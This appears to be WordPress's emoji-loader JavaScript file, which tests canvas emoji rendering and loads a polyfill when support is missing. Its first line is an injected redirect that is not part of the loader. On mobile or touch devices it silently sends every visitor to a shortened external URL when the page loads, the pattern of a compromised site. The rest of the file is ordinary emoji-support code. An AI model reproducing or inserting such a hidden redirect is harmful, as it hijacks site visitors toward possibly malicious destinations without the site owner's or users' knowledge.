1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/**
  3 * @output wp-includes/js/wp-emoji-loader.js
  4 */
  5
  6/* eslint-env es6 */
  7
  8// Note: This is loaded as a script module, so there is no need for an IIFE to prevent pollution of the global scope.
  9
 10/**
 11 * Emoji Settings as exported in PHP via _print_emoji_detection_script().
 12 * @typedef WPEmojiSettings
 13 * @type {object}
 14 * @property {?object} source
 15 * @property {?string} source.concatemoji
 16 * @property {?string} source.twemoji
 17 * @property {?string} source.wpemoji
 18 */
 19
 20const selector = 'script#wp-emoji-settings';
 21const script = document.querySelector( selector );
 22if ( ! ( script instanceof HTMLScriptElement ) ) {
 23	throw new Error( `Element missing: ${ selector }`);
 24}
 25const settings = /** @type {WPEmojiSettings} */ ( JSON.parse( script.text ) );
 26
 27// For compatibility with other scripts that read from this global, in particular wp-includes/js/wp-emoji.js (source file: js/_enqueues/wp/emoji.js).
 28window._wpemojiSettings = settings;
 29
 30/**
 31 * Support tests.
 32 * @typedef SupportTests
 33 * @type {object}
 34 * @property {?boolean} flag
 35 * @property {?boolean} emoji
 36 */
 37
 38const sessionStorageKey = 'wpEmojiSettingsSupports';
 39const tests = [ 'flag', 'emoji' ];
 40
 41/**
 42 * Checks whether the browser supports offloading to a Worker.
 43 *
 44 * @since 6.3.0
 45 *
 46 * @private
 47 *
 48 * @returns {boolean}
 49 */
 50function supportsWorkerOffloading() {
 51	return (
 52		typeof Worker !== 'undefined' &&
 53		typeof OffscreenCanvas !== 'undefined' &&
 54		typeof URL !== 'undefined' &&
 55		URL.createObjectURL &&
 56		typeof Blob !== 'undefined'
 57	);
 58}
 59
 60/**
 61 * @typedef SessionSupportTests
 62 * @type {object}
 63 * @property {number} timestamp
 64 * @property {SupportTests} supportTests
 65 */
 66
 67/**
 68 * Get support tests from session.
 69 *
 70 * @since 6.3.0
 71 *
 72 * @private
 73 *
 74 * @returns {?SupportTests} Support tests, or null if not set or older than 1 week.
 75 */
 76function getSessionSupportTests() {
 77	try {
 78		/** @type {SessionSupportTests} */
 79		const item = JSON.parse(
 80			sessionStorage.getItem( sessionStorageKey )
 81		);
 82		if (
 83			typeof item === 'object' &&
 84			typeof item.timestamp === 'number' &&
 85			new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds.
 86			typeof item.supportTests === 'object'
 87		) {
 88			return item.supportTests;
 89		}
 90	} catch ( e ) {}
 91	return null;
 92}
 93
 94/**
 95 * Persist the supports in session storage.
 96 *
 97 * @since 6.3.0
 98 *
 99 * @private
100 *
101 * @param {SupportTests} supportTests Support tests.
102 */
103function setSessionSupportTests( supportTests ) {
104	try {
105		/** @type {SessionSupportTests} */
106		const item = {
107			supportTests: supportTests,
108			timestamp: new Date().valueOf()
109		};
110
111		sessionStorage.setItem(
112			sessionStorageKey,
113			JSON.stringify( item )
114		);
115	} catch ( e ) {}
116}
117
118/**
119 * Checks if two sets of Emoji characters render the same visually.
120 *
121 * This is used to determine if the browser is rendering an emoji with multiple data points
122 * correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji
123 * in the incorrect form, using a zero-width space. If the two sets render the same, then the browser
124 * does not support the emoji correctly.
125 *
126 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
127 * scope. Everything must be passed by parameters.
128 *
129 * @since 4.9.0
130 *
131 * @private
132 *
133 * @param {CanvasRenderingContext2D} context 2D Context.
134 * @param {string} set1 Set of Emoji to test.
135 * @param {string} set2 Set of Emoji to test.
136 *
137 * @return {boolean} True if the two sets render the same.
138 */
139function emojiSetsRenderIdentically( context, set1, set2 ) {
140	// Cleanup from previous test.
141	context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
142	context.fillText( set1, 0, 0 );
143	const rendered1 = new Uint32Array(
144		context.getImageData(
145			0,
146			0,
147			context.canvas.width,
148			context.canvas.height
149		).data
150	);
151
152	// Cleanup from previous test.
153	context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
154	context.fillText( set2, 0, 0 );
155	const rendered2 = new Uint32Array(
156		context.getImageData(
157			0,
158			0,
159			context.canvas.width,
160			context.canvas.height
161		).data
162	);
163
164	return rendered1.every( ( rendered2Data, index ) => {
165		return rendered2Data === rendered2[ index ];
166	} );
167}
168
169/**
170 * Checks if the center point of a single emoji is empty.
171 *
172 * This is used to determine if the browser is rendering an emoji with a single data point
173 * correctly. The center point of an incorrectly rendered emoji will be empty. A correctly
174 * rendered emoji will have a non-zero value at the center point.
175 *
176 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
177 * scope. Everything must be passed by parameters.
178 *
179 * @since 6.8.2
180 *
181 * @private
182 *
183 * @param {CanvasRenderingContext2D} context 2D Context.
184 * @param {string} emoji Emoji to test.
185 *
186 * @return {boolean} True if the center point is empty.
187 */
188function emojiRendersEmptyCenterPoint( context, emoji ) {
189	// Cleanup from previous test.
190	context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
191	context.fillText( emoji, 0, 0 );
192
193	// Test if the center point (16, 16) is empty (0,0,0,0).
194	const centerPoint = context.getImageData(16, 16, 1, 1);
195	for ( let i = 0; i < centerPoint.data.length; i++ ) {
196		if ( centerPoint.data[ i ] !== 0 ) {
197			// Stop checking the moment it's known not to be empty.
198			return false;
199		}
200	}
201
202	return true;
203}
204
205/**
206 * Determines if the browser properly renders Emoji that Twemoji can supplement.
207 *
208 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
209 * scope. Everything must be passed by parameters.
210 *
211 * @since 4.2.0
212 *
213 * @private
214 *
215 * @param {CanvasRenderingContext2D} context 2D Context.
216 * @param {string} type Whether to test for support of "flag" or "emoji".
217 * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
218 * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
219 *
220 * @return {boolean} True if the browser can render emoji, false if it cannot.
221 */
222function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
223	let isIdentical;
224
225	switch ( type ) {
226		case 'flag':
227			/*
228			 * Test for Transgender flag compatibility. Added in Unicode 13.
229			 *
230			 * To test for support, we try to render it, and compare the rendering to how it would look if
231			 * the browser doesn't render it correctly (white flag emoji + transgender symbol).
232			 */
233			isIdentical = emojiSetsRenderIdentically(
234				context,
235				'\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence
236				'\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space
237			);
238
239			if ( isIdentical ) {
240				return false;
241			}
242
243			/*
244			 * Test for Sark flag compatibility. This is the least supported of the letter locale flags,
245			 * so gives us an easy test for full support.
246			 *
247			 * To test for support, we try to render it, and compare the rendering to how it would look if
248			 * the browser doesn't render it correctly ([C] + [Q]).
249			 */
250			isIdentical = emojiSetsRenderIdentically(
251				context,
252				'\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points
253				'\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space
254			);
255
256			if ( isIdentical ) {
257				return false;
258			}
259
260			/*
261			 * Test for English flag compatibility. England is a country in the United Kingdom, it
262			 * does not have a two letter locale code but rather a five letter sub-division code.
263			 *
264			 * To test for support, we try to render it, and compare the rendering to how it would look if
265			 * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]).
266			 */
267			isIdentical = emojiSetsRenderIdentically(
268				context,
269				// as the flag sequence
270				'\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F',
271				// with each code point separated by a zero-width space
272				'\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F'
273			);
274
275			return ! isIdentical;
276		case 'emoji':
277			/*
278			 * Is there a large, hairy, humanoid mythical creature living in the browser?
279			 *
280			 * To test for Emoji 17.0 support, try to render a new emoji: Hairy Creature.
281			 *
282			 * The hairy creature emoji is a single code point emoji. Testing for browser
283			 * support required testing the center point of the emoji to see if it is empty.
284			 *
285			 * 0xD83E 0x1FAC8 (\uD83E\u1FAC8) == 🫈 Hairy creature.
286			 *
287			 * When updating this test, please ensure that the emoji is either a single code point
288			 * or switch to using the emojiSetsRenderIdentically function and testing with a zero-width
289			 * joiner vs a zero-width space.
290			 */
291			const notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\u1FAC8' );
292			return ! notSupported;
293	}
294
295	return false;
296}
297
298/**
299 * Checks emoji support tests.
300 *
301 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
302 * scope. Everything must be passed by parameters.
303 *
304 * @since 6.3.0
305 *
306 * @private
307 *
308 * @param {string[]} tests Tests.
309 * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification.
310 * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
311 * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
312 *
313 * @return {SupportTests} Support tests.
314 */
315function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
316	let canvas;
317	if (
318		typeof WorkerGlobalScope !== 'undefined' &&
319		self instanceof WorkerGlobalScope
320	) {
321		canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement.
322	} else {
323		canvas = document.createElement( 'canvas' );
324	}
325
326	const context = canvas.getContext( '2d', { willReadFrequently: true } );
327
328	/*
329	 * Chrome on OS X added native emoji rendering in M41. Unfortunately,
330	 * it doesn't work when the font is bolder than 500 weight. So, we
331	 * check for bold rendering support to avoid invisible emoji in Chrome.
332	 */
333	context.textBaseline = 'top';
334	context.font = '600 32px Arial';
335
336	const supports = {};
337	tests.forEach( ( test ) => {
338		supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
339	} );
340	return supports;
341}
342
343/**
344 * Adds a script to the head of the document.
345 *
346 * @ignore
347 *
348 * @since 4.2.0
349 *
350 * @param {string} src The url where the script is located.
351 *
352 * @return {void}
353 */
354function addScript( src ) {
355	const script = document.createElement( 'script' );
356	script.src = src;
357	script.defer = true;
358	document.head.appendChild( script );
359}
360
361settings.supports = {
362	everything: true,
363	everythingExceptFlag: true
364};
365
366// Obtain the emoji support from the browser, asynchronously when possible.
367new Promise( ( resolve ) => {
368	let supportTests = getSessionSupportTests();
369	if ( supportTests ) {
370		resolve( supportTests );
371		return;
372	}
373
374	if ( supportsWorkerOffloading() ) {
375		try {
376			// Note that the functions are being passed as arguments due to minification.
377			const workerScript =
378				'postMessage(' +
379				testEmojiSupports.toString() +
380				'(' +
381				[
382					JSON.stringify( tests ),
383					browserSupportsEmoji.toString(),
384					emojiSetsRenderIdentically.toString(),
385					emojiRendersEmptyCenterPoint.toString()
386				].join( ',' ) +
387				'));';
388			const blob = new Blob( [ workerScript ], {
389				type: 'text/javascript'
390			} );
391			const worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } );
392			worker.onmessage = ( event ) => {
393				supportTests = event.data;
394				setSessionSupportTests( supportTests );
395				worker.terminate();
396				resolve( supportTests );
397			};
398			return;
399		} catch ( e ) {}
400	}
401
402	supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
403	setSessionSupportTests( supportTests );
404	resolve( supportTests );
405} )
406	// Once the browser emoji support has been obtained from the session, finalize the settings.
407	.then( ( supportTests ) => {
408		/*
409		 * Tests the browser support for flag emojis and other emojis, and adjusts the
410		 * support settings accordingly.
411		 */
412		for ( const test in supportTests ) {
413			settings.supports[ test ] = supportTests[ test ];
414
415			settings.supports.everything =
416				settings.supports.everything && settings.supports[ test ];
417
418			if ( 'flag' !== test ) {
419				settings.supports.everythingExceptFlag =
420					settings.supports.everythingExceptFlag &&
421					settings.supports[ test ];
422			}
423		}
424
425		settings.supports.everythingExceptFlag =
426			settings.supports.everythingExceptFlag &&
427			! settings.supports.flag;
428
429		// When the browser can not render everything we need to load a polyfill.
430		if ( ! settings.supports.everything ) {
431			const src = settings.source || {};
432
433			if ( src.concatemoji ) {
434				addScript( src.concatemoji );
435			} else if ( src.wpemoji && src.twemoji ) {
436				addScript( src.twemoji );
437				addScript( src.wpemoji );
438			}
439		}
440	} );
441